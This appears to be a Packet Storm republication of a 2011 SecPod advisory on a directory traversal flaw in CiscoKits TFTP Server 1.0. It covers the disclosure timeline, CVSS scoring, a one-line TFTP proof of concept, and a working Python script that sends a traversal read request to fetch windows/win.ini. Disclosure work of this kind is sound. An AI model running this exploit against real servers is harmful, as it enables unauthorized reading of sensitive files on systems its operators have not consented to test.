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packetstormAntu SanadiPACKETSTORM:103744
HistoryAug 05, 2011 - 12:00 a.m.

CiscoKits TFTP Directory Traversal

2011-08-0500:00:00
Antu Sanadi
packetstormsecurity.com
16
`###############################################################################  
CiscoKits TFTP Server Directory Traversal Vulnerability  
  
SecPod Technologies (www.secpod.com)  
Author: Antu Sanadi  
###############################################################################  
  
SecPod ID: 1022 21/07/2011 Issue Discovered  
03/08/2011 Vendor Notified  
Vendor Replied to Disclose  
04/08/2011 Advisory Released  
  
  
Class: Information Disclosure Severity: Medium  
  
  
Overview:  
---------  
Ciscokits TFTP Server Version 1.0 is prone to a Directory Traversal  
vulnerability.  
  
  
Technical Description:  
----------------------  
The vulnerability is caused due to improper validation to Read Request  
containing '../' sequences, which allows attackers to read arbitrary files  
via directory traversal attacks.  
  
  
Impact:  
--------  
Successful exploitation could allow an attacker to obtain sensitive  
information, which may lead to launching further attacks.  
  
  
Affected Software:  
------------------  
Ciscokits TFTP Server Version 1.0  
  
  
Tested on:  
-----------  
Ciscokits TFTP Server Version 1.0 on Windows XP SP3.  
  
  
References:  
-----------  
http://secpod.org/blog/?p=301  
http://www.certificationkits.com  
http://secpod.org/SECPOD_CiscoKits_TFTP_Server_Dir_Trav_POC.py  
http://secpod.org/advisories/SECPOD_CiscoKits_TFTP_Server_Dir_Trav.txt  
  
  
Proof of Concept:  
----------------  
tftp> get ../../../../../../../../../../../windows/win.ini  
  
  
Solution:  
----------  
Not available  
  
  
Risk Factor:  
-------------  
CVSS Score Report:  
ACCESS_VECTOR = NETWORK  
ACCESS_COMPLEXITY = LOW  
AUTHENTICATION = NOT_REQUIRED  
CONFIDENTIALITY_IMPACT = PARTIAL  
INTEGRITY_IMPACT = NONE  
AVAILABILITY_IMPACT = NONE  
EXPLOITABILITY = PROOF_OF_CONCEPT  
REMEDIATION_LEVEL = UNAVAILABLE  
REPORT_CONFIDENCE = CONFIRMED  
CVSS Base Score = 5.0 (AV:N/AC:L/Au:NR/C:P/I:N/A:N)  
CVSS Temporal Score = 4.5  
Risk factor = Medium  
  
  
Credits:  
--------  
Antu Sanadi of SecPod Technologies has been credited with the discovery of  
this vulnerability.  
  
  
====================================================  
  
  
#!/usr/bin/python  
##############################################################################  
# Title : CiscoKits TFTP Server Directory Traversal Vulnerability  
# Author : Antu Sanadi from SecPod Technologies (www.secpod.com)  
# Vendor : http://www.certificationkits.com/cisco-ccna-tftp-server/  
# Advisory : http://secpod.org/blog/?p=301  
# http://secpod.org/SECPOD_CiscoKits_TFTP_Server_Dir_Trav_POC.py  
# http://secpod.org/advisories/SECPOD_CiscoKits_TFTP_Server_Dir_Trav.txt  
# Version : CiscoKits CCNA TFTP Server 1.0.0.0  
# Date : 21/07/2011  
##############################################################################  
import sys, socket  
  
def sendPacket(HOST, PORT, data):  
'''  
Sends UDP Data to a Particular Host on a Specified Port  
with a Given Data and Return the Response  
'''  
udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
udp_sock.sendto(data, (HOST, PORT))  
data = udp_sock.recv(1024)  
udp_sock.close()  
return data  
  
if __name__ == "__main__":  
  
if len(sys.argv) < 2:  
print "\tUsage: python exploit.py target_ip"  
print "\tExample : python exploit.py 127.0.0.1"  
print "\tExiting..."  
sys.exit(0)  
  
HOST = sys.argv[1] ## The Server IP  
PORT = 69 ## Default TFTP port  
  
data = "\x00\x01" ## TFTP Read Request  
data += "../" * 10 + "windows/win.ini" + "\x00" ## Read win.ini file using directory traversal  
data += "netascii\x00" ## TFTP Type  
  
# netascii  
rec_data = sendPacket(HOST, PORT, data)  
print "Data Found on the target : %s " %(HOST)  
print rec_data.strip()  
`